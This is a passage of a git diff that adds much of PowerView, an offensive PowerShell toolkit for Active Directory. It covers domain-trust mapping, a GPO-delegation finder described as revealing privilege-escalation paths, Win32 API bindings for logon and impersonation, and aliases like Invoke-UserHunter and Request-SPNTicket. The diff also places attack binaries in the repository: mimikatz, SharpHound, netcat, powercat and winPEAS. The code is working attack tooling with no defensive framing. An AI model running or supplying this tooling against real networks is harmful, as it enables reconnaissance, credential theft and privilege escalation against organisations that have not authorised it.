$Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + $DomainTrustArguments = @{} + if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } + if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } + if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } + + # get the current domain and push it onto the stack + if ($PSBoundParameters['Credential']) { + $CurrentDomain = (Get-Domain -Credential $Credential).Name + } + else { + $CurrentDomain = (Get-Domain).Name + } + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the trusts for this domain + $DomainTrustArguments['Domain'] = $Domain + $Trusts = Get-DomainTrust @DomainTrustArguments + + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + if ($PsCmdlet.ParameterSetName -eq 'NET') { + $ForestTrustArguments = @{} + if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } + $Trusts += Get-ForestTrust @ForestTrustArguments + } + + if ($Trusts) { + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + if ($Trust.SourceName -and $Trust.TargetName) { + # make sure we process the target + $Null = $Domains.Push($Trust.TargetName) + $Trust + } + } + } + } + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" + } + } + } +} + + +function Get-GPODelegation { +<# +.SYNOPSIS + +Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. + +Author: Itamar Mizrahi (@MrAnde7son) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER GPOName + +The GPO display name to query for, wildcards accepted. + +.PARAMETER PageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.EXAMPLE + +Get-GPODelegation + +Returns all GPO delegations in current forest. + +.EXAMPLE + +Get-GPODelegation -GPOName + +Returns all GPO delegations on a given GPO. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOName = '*', + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') + + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $DomainList = @($Forest.Domains) + $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } + foreach ($Domain in $Domains) { + $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" + $Searcher = New-Object System.DirectoryServices.DirectorySearcher + $Searcher.SearchRoot = $Domain + $Searcher.Filter = $Filter + $Searcher.PageSize = $PageSize + $Searcher.SearchScope = "Subtree" + $listGPO = $Searcher.FindAll() + foreach ($gpo in $listGPO){ + $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} + if ($ACL -ne $null){ + $GpoACL = New-Object psobject + $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath + $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname + $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference + $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights + $GpoACL + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] + +# used to parse the 'samAccountType' property for users/computers/groups +$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ + DOMAIN_OBJECT = '0x00000000' + GROUP_OBJECT = '0x10000000' + NON_SECURITY_GROUP_OBJECT = '0x10000001' + ALIAS_OBJECT = '0x20000000' + NON_SECURITY_ALIAS_OBJECT = '0x20000001' + USER_OBJECT = '0x30000000' + MACHINE_ACCOUNT = '0x30000001' + TRUST_ACCOUNT = '0x30000002' + APP_BASIC_GROUP = '0x40000000' + APP_QUERY_GROUP = '0x40000001' + ACCOUNT_TYPE_MAX = '0x7fffffff' +} + +# used to parse the 'grouptype' property for groups +$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ + CREATED_BY_SYSTEM = '0x00000001' + GLOBAL_SCOPE = '0x00000002' + DOMAIN_LOCAL_SCOPE = '0x00000004' + UNIVERSAL_SCOPE = '0x00000008' + APP_BASIC = '0x00000010' + APP_QUERY = '0x00000020' + SECURITY = '0x80000000' +} -Bitfield + +# used to parse the 'userAccountControl' property for users/groups +$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ + SCRIPT = 1 + ACCOUNTDISABLE = 2 + HOMEDIR_REQUIRED = 8 + LOCKOUT = 16 + PASSWD_NOTREQD = 32 + PASSWD_CANT_CHANGE = 64 + ENCRYPTED_TEXT_PWD_ALLOWED = 128 + TEMP_DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + DONT_EXPIRE_PASSWORD = 65536 + MNS_LOGON_ACCOUNT = 131072 + SMARTCARD_REQUIRED = 262144 + TRUSTED_FOR_DELEGATION = 524288 + NOT_DELEGATED = 1048576 + USE_DES_KEY_ONLY = 2097152 + DONT_REQ_PREAUTH = 4194304 + PASSWORD_EXPIRED = 8388608 + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + PARTIAL_SECRETS_ACCOUNT = 67108864 +} -Bitfield + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 +} + +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} + +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping +Set-Alias Get-DomainPolicy Get-DomainPolicyData diff --git a/win/SharpHound.exe b/win/SharpHound.exe new file mode 100644 index 0000000..78e9742 Binary files /dev/null and b/win/SharpHound.exe differ diff --git a/mimikatz.exe b/win/mimikatz.exe similarity index 100% rename from mimikatz.exe rename to win/mimikatz.exe diff --git a/win/nc.exe b/win/nc.exe new file mode 100644 index 0000000..2119d68 Binary files /dev/null and b/win/nc.exe differ diff --git a/win/nc64.exe b/win/nc64.exe new file mode 100644 index 0000000..79bc027 Binary files /dev/null and b/win/nc64.exe differ diff --git a/powercat.ps1 b/win/powercat.ps1 similarity index 100% rename from powercat.ps1 rename to win/powercat.ps1 diff --git a/winPEAS.bat b/win/winPEAS.bat similarity index 100% rename from winPEAS.bat rename to win/winPEAS.bat